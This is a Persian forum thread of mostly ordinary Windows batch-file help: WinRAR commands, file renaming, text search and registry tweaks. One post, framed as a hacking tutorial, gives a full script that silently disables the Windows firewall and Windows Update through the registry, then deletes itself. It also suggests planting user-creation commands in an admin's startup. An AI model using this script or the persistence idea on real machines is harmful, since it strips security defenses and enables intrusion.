سلام دوستان من چند تا كد كوچولو نياز دارم كه به صورت batch كد نوشته بشه يا همون پسوند bat
اگه كسي معلوماتي داره بگه ازش سئوال كنم
ممنون مي شم
Printable View
سلام دوستان من چند تا كد كوچولو نياز دارم كه به صورت batch كد نوشته بشه يا همون پسوند bat
اگه كسي معلوماتي داره بگه ازش سئوال كنم
ممنون مي شم
سلام
خب شما سوالت را مطرح کن هر کی بلد بود جواب میده .
موفق باشید .
سلام دوست عزیز.نقل قول:
داخل درایو C سیستمت یه فایل بساز به نام:
بعد Notpad رو باز کن و توی اون تایپ کن:کد:1.txt
حالا اونو با پسوند bat ذخیره کن و اجرا کن.میبینی که فایلی که در درایو C ساختی پاک شد.این یه دستور از Dos بود برای حذف یه فایل.فایل های Bat یه سری فایل های اجرایی هستند مثل Exe ولی تو توی اون میتونی از فرامین Dos هم استفاده کنی که تحت Dos اجرا میشه.البته بعضی از ویروس های سیستمی هم با پسوند Bat ذخیره و اجرا میشن.کد:del C:\1.txt
با تشكر از دوستان مخصوصا hamishebahar
من نگفتم چطور فايل bat بسازيم !
ولي در حال اگر از تكنيك هاي اين سبك برنامه نويسي اطلاع داريد بفرمائيد تا سئوالم را مطرح كنم
من در رابطه با فشرده كردن با winrar يه مشكل دارم
كدهاش رو پيدا كردم ولي مشكل اينه كه بايد يه سري تعريفات جداگونه صورت بگيره
میشه سوالت رو دقیقتر مطرح کنی این الان کمکی به حل مشکلت نمی کنه
مثلا کدها رو بذار و دقیقا بگو باهاشون می خوای چیکار کنی و چه ربطی به فایل batch داره کارت
سلام دوست خوبم
در تايپيك آموزش هك توضيح دادم
Batch File بچ فايل چيست؟
امروز يه نكته بين آموزشي داريم!!!
بچ فايل كدهايي بودن كه در قديم(همين Dos خودمون كه تو ايران جديده!!!!!) استفاده ميشدند
در گذشته چون از خط فرمان استفاده گسترده ميشد مانند يونيكس و داس براي بعضي كارهاي تكراري و فرمانها از Batch استفاده ميشد كه شبه زبان هم به حساب مياد
الان ميشه اين كدهارو تو Notepad نوشت و با پسوند Bat سيو كرد و تو لوكال(كامپيوتر شخصي) يا ريموت (مثلا يه سرور) و ......... ازش استفاده كرد
پس خيلي مهمه
براي مثال كد زير رو تو Notepad كپي پيست كنيد و سپس با پسوند bat(مثلا majeed.bat) سيو كنيد و سپس اجرا
توضيح اين كد با دستكاري تو رجيستري و ......باعث غير فعال شدن فايروال ميشه با echo شروع م
كه ميشه خيلي كارا با بچ فايلها كرد
@echo off
net stop SharedAccess
ECHO REGEDIT4 >"%Temp%.\kill.reg"
ECHO. >>"%Temp%.\kill.reg"
ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\SharedAccess] >>"%Temp%.\kill.reg"
ECHO "Start"=dword:00000004 >>"%Temp%.\kill.reg"
ECHO. >>"%Temp%.\kill.reg"
ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\wuauserv] >>"%Temp%.\kill.reg"
ECHO "Start"=dword:00000004 >>"%Temp%.\kill.reg"
ECHO.>> "%Temp%.\kill.reg"
START /WAIT REGEDIT /S "%Temp%.\kill.reg"
DEL "%Temp%.\kill.reg"
DEL %0
Exit
اين سايت هم بچ فايلهاي خوبي داره اين يه نمونه
کد:
اين هم بچ فايل بالا كه با پسوند bat سيو كردم و بعد از اجرا حذف ميشه براي ديدن محتويات هم روش كليك رايت كنيد وسپس Editکد:http://www.governmentsecurity.org/forum/index.php?showtopic=7754
کد:
يه نكته كه لازمه بايد بگم دستوراتي رو كه براي ساختن يوزر گفتيم ميشه بچ كرد و تو استارت آپ ادمين گذاشت!!!!کد:http://br4v3.persiangig.com/other/Dis%20FW%20Majeed76.zip
ديگه ابتكار با خوتون حس نفوذگري رو بكار بندازين
By:Majeed $ 2007
فشرده سازي در رابطه با Winrar تحت داس هست؟(براي بدست آوردن Sam يا .........)
لطفا بيشتر توضيح بديد
کد:http://www.forum.p30world.com/showthread.php?t=155927
کارهایی که شما باید دونه به دونه توی Command بنویسید و انجام بدید را می تونید توی یه محیط متنی مثل notpad نوشته و با یکبار اجرا تمامی تغییرات را به یکباره اعمال کنید .
بیشتر باید دستورات Command را بلد باشید . یا همون DOS
موفق باشید .
با سلام خدمت دوستان
خيلي خوب من 5چند تا سئوال دارم هر كس كه مي نونه يكي رو و يا بيشتر رو جواب بده
(تشكر پيشاپيش)
=========================
در دستور زير
برنامه winrar يك فايل متني به نام my.txt را با پسوند rar فشرده مي كند و به نام my.rar ذخيره مي كندنقل قول:
set path=C:\program files\winrar\;%path%
WinRAR A my.rar my.txt
فرض را براين بگذاريم كه برنامه winrar در درايوي به غير از درايو C نصب بود و پوشه اي غير از پوشه مقرر خود
بنابراين دستور فوق عمل نخواهد كرد
اكنون سئوال اول اينجاست=
دستوري تايپ كنيد كه در صورت نادرست بودن مسير برنامه WINRAR از طريق يك فايل متني به نام winrar path.txt كه در درايو C كپي شده مسير صحيح برنامه يافت شود
مسير دقيق فايل txt حاوي آدرس === C:\winrar ptch.txt
ممنون و با تشكر فراوان
در صورتي كه توانستيد جواب صحيح را بيابيد سپاسگذار مي شوم براي ديدن پرسش بعدي مجددا به تاپيك مراجعه كنيد
سلام
فقط مشكل اينه كه اين فايل فقط توي هر درايوي كه كپي بشه همون درايو رو فقط مي گرده بايد براي كلي كردنش یه حلقه عجیب غریب بنويسمکد:@echo off
set pth=%*
cd %pth%
set LF=
cls
set /p LF=Looking For :
dir /s %LF% | find "Directory" > path.txt
ممنونم دوست عزيزم Ar@m
كد بسيار خوبي است كار هم مي كند نيازي به نوشتن حلقه نيست كد هاي زير هر جائي كه برنامه winrar نصب باشد را مي يابد فقط كافيست كه رزيدنت باشد !!
البته من جواب را در يكي از تاپيك هاي پرس و جوي اجنبي يافتم !!نقل قول:
@echo off & setlocal
for /f "tokens=*" %%a in ('ftype winrar') do set %%a
set winrar=%winrar:" "="&REM.%
set winrar
pause
:testing
%winrar% a test.rar *.txt
pause
خوب حالا سئوال دوم=
قصد داريم الگوريتمي بنويسيم كه پوشه جاري و زير مجموعه هاي آنرا بگردد و هر جا در نام پوشه ها يا فايلها كاراكتر هاي . _ را يافت اين كاراكتر ها را با فاصله يا اسپيس پر يا جايگزين كند
توجه===البته در صورت يافتن فايل نبايد نقطه محل اتصال فايل به پسوند و همچنين نقاط حد فاصل ورژن برنامه ها را از بين ببرد و بايد اين نقاط مستثني باشند
مثال my.progy_ update_ 3.44_ 2009.3.1.zip
اين فايل بايد به نام زير تغيير كند
myprogy update 3.44 2009.3.1.zip
===========================
با تشكر فراوان
سوال دومت واقعا سخته!
نمی دونم فایل batch اصلا می تونه همچین توانایی ای داشته باشه یا نه
من دارم روش فکر می کنم شمام اگه چیزی یا راه حلی پیدا کردی لطفا اینجا بذار
با تشكر از Ar@m جان بابت پيگيري
من سئوال سوم را مطرح مي كنم اما اميدوارم دوستان اگر جواب سئوال دوم را هم يافتند ما را بي نصيب نگذارند
==============================
سئوال سوم==
البته خاموش كردن caps lock كار چندان سختي نيست اما آيا كدهاي batch مي توانند اين كار را بدون استفاده از برنامه هاي جانبي و به صورت مستقل انجام دهند؟
آيا مي توانيد الگوريتمي تهيه كنيد كه كليد cpas lock را در صورت روشن بودن خاموش كند؟
فراموش كنيد نبايد از هيچ برنامه جانبي ديگري استفاده كنيد !!
به نظر مي ياد يا سئوال دوم و سوم خيلي سخت هستند و يا دوستان حوصله كار روي سئوالات را ندارند !!
در هر حال من سئوال چهارم رو مطرح مي كنم
سئوال چهارم=
الگوريتمي تهيه كنيد كه بتوان فايل مثلا mybe.txt را delet كرد منتهي با اين تفاوت كه فايل بايد به جاي حذف مستقيم از روي هارد به سطل بازيابي يا همان recycle bin فرستاده شود
با تشكر
سلام
فكر كنم تنها راه حل سوال سوم ايجاد تغيير تو رجيستري از طريق فايلهاي batch باشه:
فايل batch
فايل caps.regکد:@echo off
regedit /s [caps.reg]
فقط موضوع اينه تغييرات بعد از restart ايجاد ميشنکد:Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Control Panel\Keyboard]
"InitialKeyboardIndicators"="0"
سوال چهارم هم سوال جالبيه و هنوز جوابي براش ندارم
لطفا بقيه هم يه كمكي بكنن حداقل يه نظري بدن
سلام و با تشكر از دوست عزيز Ar@m
متاسفانه با توجه به اينكه بايد ري استارت صورت بگيرد تا كدهاي رجيستري در بيشتر مواقع اعمال شود اين كار را مسكوت مي گذارم و انجام آنرا به يك فايل جانبي مي سپارم كه تنها 10 كيلوبايت حجم دارد و با آجراي آن كپس لاك روشن و يا خاموش مي شود ( در صورت تمايل بفرمائيد تا لينك بگذارم ) اگرچه تمايل داشتم بدو.ن نياز به برنامه جانبي و به صورت مستقيم اين تغيير اعمال پذيرد
خوب من سئوال پنجم را مطرح مي كنم دوستان در صورتي كه جوابي براي ديگر سئوالها يافتند با ذكر شماره سئوال ما را مستفيض فرمايند
با تشكر
=================================
سئوال پنجم=
فرض را بر اين مي گذاريم كه تعداد زيادي فايل متني txt در پوشه جاري ما وجود دارد اكنون قصد داريم در ميان فايلها جستجو كنيم و هر فايلي كه محتواي آن شامل چهار كلمه زير بود را به پوشه selcted انتقال بدهيم
كلمات به شرح زيرند
user name
company
date updated
end of work
من شرمنده ام
يه دو سه روزي بود نت نداشتم اميدوارم دير نشده باشه:
سوال 5
کد:@echo off
findstr /M "user name" *.txt>> selected.txt
findstr /M "company" *.txt>> selected.txt
findstr /M "date updated" *.txt>> selected.txt
findstr /M "end of work" *.txt>> selected.txt
for /f "delims=" %%b IN (selected.txt) do MOVE /Y %%b selected
اينم يه قسمت از سوال دوم:
فقط تونستم درمورد _ تغييرات رو ايجاد كنم براي نقطه اين كار واقعا سخت و شايدم نشدنيه
خب واسه سوال 4 كسي نمي خواد كمكي بكنه؟کد:@echo off
for /f "delims=" %%a IN ('dir *_*.??? /s /b /on') do call :rename "%%a"
:rename
set string=%1
set string=%string:_= %
ren %1 %string%
سلام دوستان علي الخصوص دوست عزيزم Ar@m
و با تشكر از آرام بابت پاسخ ها:10:
با تست اسكريپت ها جاي چند نكته باقي مانده كه مطرح مي كنم
در رابطه با پاسخ سئوال پنجم=
فكر مي كنم كه ابتدا بايد يك dir صورت بگيرد تا مشخص شود كه چه تعداد فايل txt در پوشه جاري و زير مجموعه ها موجود است مثلا
[PHP]DIR /A-D /B/S/OSD *.txt | find/v "" > filelist.txt
[/PHP]
حالا با جستجو در فايل نتيجه بقيه مسائل مطرح شود
مورد بعدي اينكه در اسكريپت هاي شما هر فايل متني كه حاوي حتي يكي از كلمات مورد جستجو باشد به پوشه selected منتقل مي شود اين در حالي است كه حتما بايد تمامي اين كلمات در يك فايل txt موجود باشد تا آن فايل مشروط به انتقال بگردد و دقت كار هم بالا برود
( بنابراين نياز به اصلاح است ضمن اينكه جستجو در زير مجموعه ها نيز بايد اضافه شود)
در رابطه با پاسخ سئوال دوم=
ممنون ولي به گمانم اين اسكريپت صرفا براي فايلهاي با نام هاي كوتاه وبي فاصله قابل استفاده است
من فايلي به نام New_Text_Document_.txt ساختم ولي به علت وجود فاصله يا طولاني بودن نام فايل rename و حذف _ ناموفق بود
به گمانم نياز به اضافه كردن " " به دستور فوق وجود دارد
لطفا پس از تست نتيجه را اعلام كنيد
ضمنا پوشه ها نيز بايد مشمول تغيير نام بشوند و همچنين زير پوشه ها
ممنون بابت پيگيري :20:
گمونم كسي اطلاعات زيادي درباره سئوالات من نداره
من برنامه نویسی سرچ رو در q basic بلد نیستم میتونی در اون برنامه نویسی کنینقل قول:
سوال دومت واقعا سخته!
نمی دونم فایل batch اصلا می تونه همچین توانایی ای داشته باشه یا نه
من دارم روش فکر می کنم شمام اگه چیزی یا راه حلی پیدا کردی لطفا اینجا بذار
و بعد با دستور هایif تغییر نام بدی باید هر دوش با هم عمل کنن و ...
با توجه باز هم qbasic میتونی از گزینه move یا دستور move و مسیر سطل اشغال این کا رو بکنی البته باز هم شایدنقل قول:
سئوال چهارم=
الگوريتمي تهيه كنيد كه بتوان فايل مثلا mybe.txt را delet كرد منتهي با اين تفاوت كه فايل بايد به جاي حذف مستقيم از روي هارد به سطل بازيابي يا همان recycle bin فرستاده شود
با تشكر
باز هم عین سوال سوم یه تعریف سرچنقل قول:
سئوال پنجم=
فرض را بر اين مي گذاريم كه تعداد زيادي فايل متني txt در پوشه جاري ما وجود دارد اكنون قصد داريم در ميان فايلها جستجو كنيم و هر فايلي كه محتواي آن شامل چهار كلمه زير بود را به پوشه selcted انتقال بدهيم
كلمات به شرح زيرند
user name
company
date updated
end of work
و مطمئنا طریفی برای پیدا کردن فایل چهار کلمه ای هست که بعد از پیدا کردا گزینه copy
فکر کنم با if کاری کرد
خوب ميشه الگوريتمش رو بنويسي دوست من؟ ممنون ميشم
یه زمانی کار میکردم ولی الان یادم نیست دوستان لرنامه نویس زیادی هست برو توی انجمن برنامه نویسینقل قول:
خوب ميشه الگوريتمش رو بنويسي دوست من؟ ممنون ميشم
به شخصه فكر مي كنم اين كارها فقط با استفاده از فايلهاي batch و بدون استفاده از هيچ زبان برنامه نويسي ديگه اي نشدنيه يا من دانشش رو ندارمنقل قول:
نقل قول:نقل قول:موضوع اينه كه قرار بود اين كارها رو فقط از طريق فايلهاي batch انجام بديم نه qbasic يا هر برنامه نويسي جانبي ديگه اينقل قول:
نقل قول:نقل قول:من خيلي خنگم!نقل قول:
تازه الان گرفتم چي گفتي
ولي چطوري qbasic رو از طريق فايل batch اجرا كنم؟ يعني بايد با چه پسوندي ذخيره اش كنم كه بدون نياز به كامپايل كار كنه؟ من با exe اين كارو كردم اجراش نكرد و با bas هم كه نياز به كامپايلر داشت تا حالام بدون كامپايلر برنامه qbasic اجرا نكردم ميتوني راهنماييم كني؟
من خیلی کم برنامه نویسی کردمنقل قول:
من خيلي خنگم!
تازه الان گرفتم چي گفتي
ولي چطوري qbasic رو از طريق فايل batch اجرا كنم؟ يعني بايد با چه پسوندي ذخيره اش كنم كه بدون نياز به كامپايل كار كنه؟ من با exe اين كارو كردم اجراش نكرد و با bas هم كه نياز به كامپايلر داشت تا حالام بدون كامپايلر برنامه qbasic اجرا نكردم ميتوني راهنماييم كني؟
ولی عزیز qbasic
من دیدم با پسوند bat سیو میشه
نخیر من همون اول امتحان کردم کار نکرد
فکر نکنم دیگه بشه از این قابلیت استفاده کرد
حالا من که هنوز دنبالشم
سلام دوستان. من یه فایل Bat دارم که یه سری از مقدارهای ریجستری رو اضافه و حذف میکنه (ریجستریهای مربوط به آنتیویروس ESET Smart Security)؛ در ویندوز 32 بیت به خوبی عمل میکنه و مقدارها رو تغییر میده اما وقتی که فایل Bat رو در ویندوز 64 بیتی اجرا کردم، متوجه شدم با اینکه دسترسی UAC هم دارد و نیز در انتها پیام Operation was successful نشون میده، مقدار ریجستری مورد نظر رو عوض نمیکنه. (بستهی خود محافظتی آنتیویروس یا همون self-defense هم غیرفعال میباشد و فایل Bat رو در حالت safe mode هم انجام دادم اما نتیجه نداد)
لینک دانلود فایل Bat:
[HTML]http://bayanbox.ir/id/8792796191321385221?info[/HTML]
در مورد تفاوتهای ریجستری ویندوز 32 بیت و 64 بیت یه سری چیزهایی رو میدونم، اما نمیدونم فایل Bat رو چگونه تنظیم کنم که هم برای 32 بیت عمل کنه و هم 64 بیت. در این مورد توی سایتهای خارجی چند تا مطلب پیدا کردم اما متوجه نشدم چگونه این کار رو انجام بدم.
[HTML]https://stackoverflow.com/questions/771240/batch-file-querying-registry-in-64-bit-vista[/HTML]
لطفاً اگه کسی میتونه کمک کنه. متشکرم. :n12:
آپدیت: خودم مشکلمو با جستجو پیدا کردم :n02: مشکل اینجا بود که مسیر HKEY_LOCAL_MAHINE رو باید به HKLM تغییر بدم تا در هر دو 32 بیت و 64 بیت کار کنه.نقل قول:
سلام دوستان
من ی کد رو می خوام تو محیط داس 5000 بار بنویسم البته باید در خط فرمان هر بار یک شمارنده اضافه شود
یعنی 5000 فایل باید وارد شوند. با نام های 1 تا 5000
کسی میتونه راهنمایی کنه که چکار کنم که مجبور نباشم 5000 مرتبه هر بار تایپ کنم؟ آیا می توان از حلقه یا چیز مشابهی استفاده کرد؟
سپاس